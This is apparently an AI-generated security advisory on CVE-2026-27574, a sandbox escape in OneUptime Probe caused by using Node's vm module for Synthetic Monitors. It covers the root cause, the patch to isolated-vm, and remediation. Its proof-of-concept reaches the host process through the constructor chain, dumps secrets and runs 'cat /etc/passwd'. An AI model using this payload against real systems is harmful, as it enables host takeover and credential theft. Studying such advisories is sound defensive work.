CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-H343-GG57-2Q67

CVE-2026-27574: Remote Code Execution in OneUptime Probe via VM Sandbox Escape

Amit Schendel
Amit Schendel
Senior Security Researcher

Mar 7, 2026·7 min read·40 visits

Executive Summary (TL;DR)

The OneUptime Probe executes user-defined monitoring scripts using the insecure Node.js `vm` module. Attackers can escape this sandbox via `this.constructor.constructor`, gaining full RCE on the host and access to all cluster secrets. Fixed in version 10.0.5 by migrating to `isolated-vm`.

A critical Remote Code Execution (RCE) vulnerability exists in the OneUptime Probe component due to unsafe execution of user-supplied JavaScript. The application leverages the standard Node.js `vm` module to run Synthetic Monitors, which fails to provide a secure security boundary. Authenticated attackers, including low-privileged project members, can break out of the sandbox using prototype chain traversal to access the host process. This grants full access to the underlying server and critical cluster credentials, including database passwords and the master secret.

Vulnerability Overview

The OneUptime platform includes a 'Probe' component responsible for monitoring external services. A specific feature, 'Synthetic Monitors,' allows users to define custom monitoring logic using JavaScript or Playwright. This feature is intended to run untrusted code in a restricted environment to verify website performance and functionality.

However, prior to version 10.0.5, the implementation relied on the native Node.js vm module (node:vm) to execute this user-supplied code. The Node.js documentation explicitly states that the vm module is not a security mechanism. It contextifies code within the same V8 Isolate as the host application, meaning that objects inside the context share the same underlying C++ structures and, critically, can often access the host's prototype chain.

The vulnerability allows any authenticated user with permissions to create a monitor (default role: Project Member) to execute arbitrary code on the Probe server. Because the Probe often runs with host networking and possesses environment variables containing high-privilege credentials (such as DATABASE_PASSWORD and ONEUPTIME_SECRET), successful exploitation leads to complete infrastructure compromise.

Root Cause Analysis

The root cause is the misuse of the vm module for isolation, categorized under CWE-94 (Improper Control of Generation of Code). While vm.createContext and vm.runInContext create a separate global scope, they do not create a separate V8 heap or isolate.

In JavaScript, primitive types and objects created within a vm context still inherit from the base definitions. If an attacker can access an object that was not created strictly within the context (or relies on shared primitives), they can traverse the __proto__ or constructor chain to reference the Function constructor of the host environment.

The specific vector involves the following logic:

  1. The attacker supplies code referencing this (the global object in the sandbox).
  2. this.constructor references the context's Object constructor.
  3. this.constructor.constructor references the host's Function constructor.
  4. Invoking this constructor allows the attacker to create a function bound to the host's closure, bypassing the sandbox entirely.

Once the host's Function constructor is obtained, the attacker can return the host's process object (return process), granting access to process.env (secrets) and child_process (command execution).

Code Analysis

The vulnerability existed in the Probe's script execution logic. The patch replaces the insecure node:vm with isolated-vm, which provides true isolation via separate V8 Isolates.

Vulnerable Implementation (Conceptual)

The insecure implementation used vm.runInContext. Note the lack of a true security boundary.

const vm = require('node:vm');
 
// Vulnerable: Using native vm module for untrusted code
async function runMonitor(userCode) {
    const sandbox = {
        console: console,
        // ... other bridged APIs
    };
    
    const context = vm.createContext(sandbox);
    
    // execution leads to RCE if userCode contains escape logic
    return vm.runInContext(userCode, context, { timeout: 5000 });
}

Patched Implementation

The fix, applied in commit 7f9ed4d43945574702a26b7c206e38cc344fe427, introduces isolated-vm. This library creates a completely new V8 instance with its own heap and garbage collector. Objects cannot be passed directly; they must be marshaled or referenced via ivm.Reference.

// Patched: Using isolated-vm for strict isolation
const ivm = require('isolated-vm');
 
async function runMonitor(userCode) {
    // Create a new Isolate (separate V8 heap)
    const isolate = new ivm.Isolate({ memoryLimit: 128 });
    const context = await isolate.createContext();
    const jail = context.global;
 
    // Explicitly set global to refer to itself
    await jail.set('global', jail.derefInto());
 
    // Compile and run script
    const script = await isolate.compileScript(userCode);
    await script.run(context);
    
    // Clean up
    script.release();
    context.release();
    isolate.dispose();
}

> [!NOTE] > The patch also ensures that environment variables passed to the worker process are strictly sanitized. Sensitive keys like ONEUPTIME_SECRET are explicitly excluded from the worker environment to minimize blast radius even if a bypass were theoretically found.

Exploitation Methodology

Exploitation is trivial and requires no specialized tools beyond a web browser. The attacker must possess a valid account on the OneUptime instance with permission to create monitors (typically available to all project members).

Attack Diagram

Proof of Concept

The following JavaScript payload, when saved as a Synthetic Monitor, demonstrates the RCE. It escapes the sandbox and logs the server's environment variables to the monitor's console output (or sends them to an external server).

// Step 1: Access the host process via the constructor chain
const hostProcess = this.constructor.constructor('return process')();
 
// Step 2: Access sensitive environment variables
const secrets = hostProcess.env;
 
// Step 3: Execute arbitrary system commands
const require = hostProcess.mainModule.require;
const child_process = require('child_process');
const output = child_process.execSync('id; cat /etc/passwd').toString();
 
// Output results (visible in Monitor Logs)
console.log('Secrets:', secrets.ONEUPTIME_SECRET);
console.log('System Output:', output);

Upon the next scheduled run of the monitor (usually within minutes), the code executes on the Probe server, and the output is captured in the dashboard logs.

Impact Assessment

The impact of CVE-2026-27574 is rated as Critical (CVSS 10.0) due to the combination of high privileges, ease of exploitation, and sensitivity of the data exposed.

Confidentiality: The OneUptime Probe is designed to interact with the core infrastructure. It stores the ONEUPTIME_SECRET (master encryption key or JWT secret), DATABASE_PASSWORD (PostgreSQL), REDIS_PASSWORD, and CLICKHOUSE_PASSWORD in its environment variables. An attacker obtaining these can decrypt sensitive data, modify database records directly, and potentially pivot to other services.

Integrity: With Remote Code Execution, an attacker can modify the Probe's behavior to report false monitoring data, inject malicious scripts into other monitoring checks, or alter the underlying operating system configuration.

Availability: The attacker can terminate the Probe process, delete critical files, or use the server resources for crypto-mining or Denial-of-Service (DoS) attacks against other targets, effectively taking the monitoring infrastructure offline.

Lateral Movement: Since the Probe is often deployed with host networking to monitor internal services, an attacker can use the compromised Probe as a jump box to attack internal services that are not exposed to the public internet.

Remediation & Mitigation

The vulnerability is addressed in OneUptime version 10.0.5. The vendor has replaced the insecure node:vm implementation with isolated-vm and hardened the worker environment.

Immediate Actions

  1. Upgrade: Update all OneUptime components, specifically the Probe and API, to version 10.0.5 or later.
  2. Secret Rotation: Because environment variables could have been exfiltrated silently, all cluster secrets must be rotated immediately after patching. This includes database passwords, Redis credentials, and the ONEUPTIME_SECRET.
  3. Audit: Review system logs for past execution of suspicious Synthetic Monitors. Look for patterns involving this.constructor, process.env, or child_process in historic monitor configurations.

Temporary Workarounds

If an immediate upgrade is not feasible, the following mitigations can reduce risk:

  • Disable Feature: Disable the "Synthetic Monitor" functionality if the application configuration allows it.
  • Network Segmentation: Ensure the Probe container/server is strictly firewalled. While this does not prevent the RCE, it limits the attacker's ability to reach other internal services or exfiltrate data outbound.
  • Restrict Access: Revoke Project Member access for untrusted users and restrict monitor creation to administrators only.

Official Patches

OneUptimeCommit replacing vm with isolated-vm

Fix Analysis (1)

Technical Appendix

CVSS Score
10.0/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.06%
Top 83% most exploited

Affected Systems

OneUptime ProbeOneUptime Synthetic Monitor Component

Affected Versions Detail

Product
Affected Versions
Fixed Version
OneUptime
OneUptime
<= 9.5.1310.0.5
AttributeDetail
CWE IDCWE-94
CVSS v3.110.0 (Critical)
Attack VectorNetwork
EPSS Score0.00055
Privileges RequiredLow (Project Member)
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1611Escape to Host
Privilege Escalation
T1552.001Unsecured Credentials: Credentials In Files
Credential Access
CWE-94
Code Injection

Improper Control of Generation of Code ('Code Injection')

Known Exploits & Detection

GitHub Security AdvisoryAdvisory containing PoC and technical details

Vulnerability Timeline

Patch Committed
2026-02-15

References & Sources

  • [1]GHSA-h343-gg57-2q67
  • [2]NVD - CVE-2026-27574
  • [3]JVNDB-2026-004688
Related Vulnerabilities
CVE-2026-27728

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-48861
2.1

CVE-2026-48861: HTTP Request Splitting and Smuggling via Method Parameter CRLF Injection in Elixir Mint

CVE-2026-48861 is a client-side HTTP request-line CRLF (Carriage Return Line Feed) injection vulnerability in the popular Elixir HTTP client library, Mint. The vulnerability permits HTTP Request Splitting and HTTP Request Smuggling when an application forwards untrusted, attacker-controlled inputs to Mint's HTTP client requests as either the HTTP request method or target. By embedding CRLF characters within these parameters, an attacker can terminate the request line prematurely, inject malicious headers, or pipeline entirely independent requests. These smuggled requests are then processed by upstream or downstream proxy servers as separate HTTP queries on the same TCP connection. While Mint version 1.7.0 introduced target validation to secure the request target, the HTTP request method parameter remained completely unvalidated. This flaw allows attackers to bypass routing filters, access restricted internal APIs, or poison HTTP caches under default configurations.

Amit Schendel
Amit Schendel
3 views•7 min read
•about 2 hours ago•CVE-2026-49753
6.3

CVE-2026-49753: HTTP Request/Response Smuggling via Inconsistent Content-Length Parsing in Elixir Mint Client

An Inconsistent Interpretation of HTTP Requests (HTTP Request/Response Smuggling) vulnerability in the Elixir Mint HTTP client allows attacker-controlled HTTP/1 servers to desynchronize response framing on shared connections due to over-lenient parsing of sign-prefixed Content-Length headers.

Amit Schendel
Amit Schendel
5 views•6 min read
•about 3 hours ago•CVE-2026-49754
8.2

CVE-2026-49754: Denial of Service via Unbounded HTTP/2 CONTINUATION Frame Accumulation in Elixir Mint

An allocation of resources without limits or throttling vulnerability in Elixir Mint allows an attacker-controlled HTTP/2 server to exhaust memory in a Mint client. The vulnerability is exploited by sending a HEADERS frame without the END_HEADERS flag followed by an infinite stream of CONTINUATION frames. Because the client lacks limits on the incoming header-block accumulator, the client continuously consumes memory until an out-of-memory crash occurs.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 3 hours ago•CVE-2026-48596
2.1

CVE-2026-48596: Improper Neutralization of CRLF Sequences in Elixir Tesla Multipart HTTP Client

CVE-2026-48596 is an Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting, CWE-113) in the Elixir Tesla HTTP client. The flaw resides in how multipart content-type parameters are joined and serialized, enabling attackers to inject arbitrary headers or split HTTP requests when applications pass untrusted inputs to the parameters of multipart uploads.

Alon Barad
Alon Barad
4 views•6 min read
•about 4 hours ago•CVE-2026-48594
8.2

CVE-2026-48594: Decompression Bomb Denial of Service in Elixir Tesla HTTP Client

An improper handling of highly compressed data (decompression bomb) vulnerability exists in the Elixir Tesla HTTP client when utilizing response decompression middlewares. By serving highly compressed responses or stacked content-encoding headers, a malicious server can cause arbitrary heap exhaustion, leading to a denial of service (DoS) crash in the BEAM virtual machine.

Amit Schendel
Amit Schendel
5 views•6 min read
•about 4 hours ago•CVE-2026-48595
8.2

CVE-2026-48595: Cross-Origin Credential Leakage in Elixir Tesla Client via Case-Sensitive Redirect Filter Bypass

A high-severity security vulnerability in Elixir's Tesla HTTP client library (CVE-2026-48595) allows unauthenticated remote attackers to harvest sensitive credentials, including Authorization headers and cookies. The flaw resides in the 'Tesla.Middleware.FollowRedirects' component, which performs case-sensitive lookups when stripping credentials during cross-origin redirects. Because HTTP headers are case-insensitive by RFC specifications, standard canonical casing (e.g., 'Authorization') bypasses the lowercase-only blocklist, leaking tokens to untrusted external redirect destinations.

Alon Barad
Alon Barad
5 views•5 min read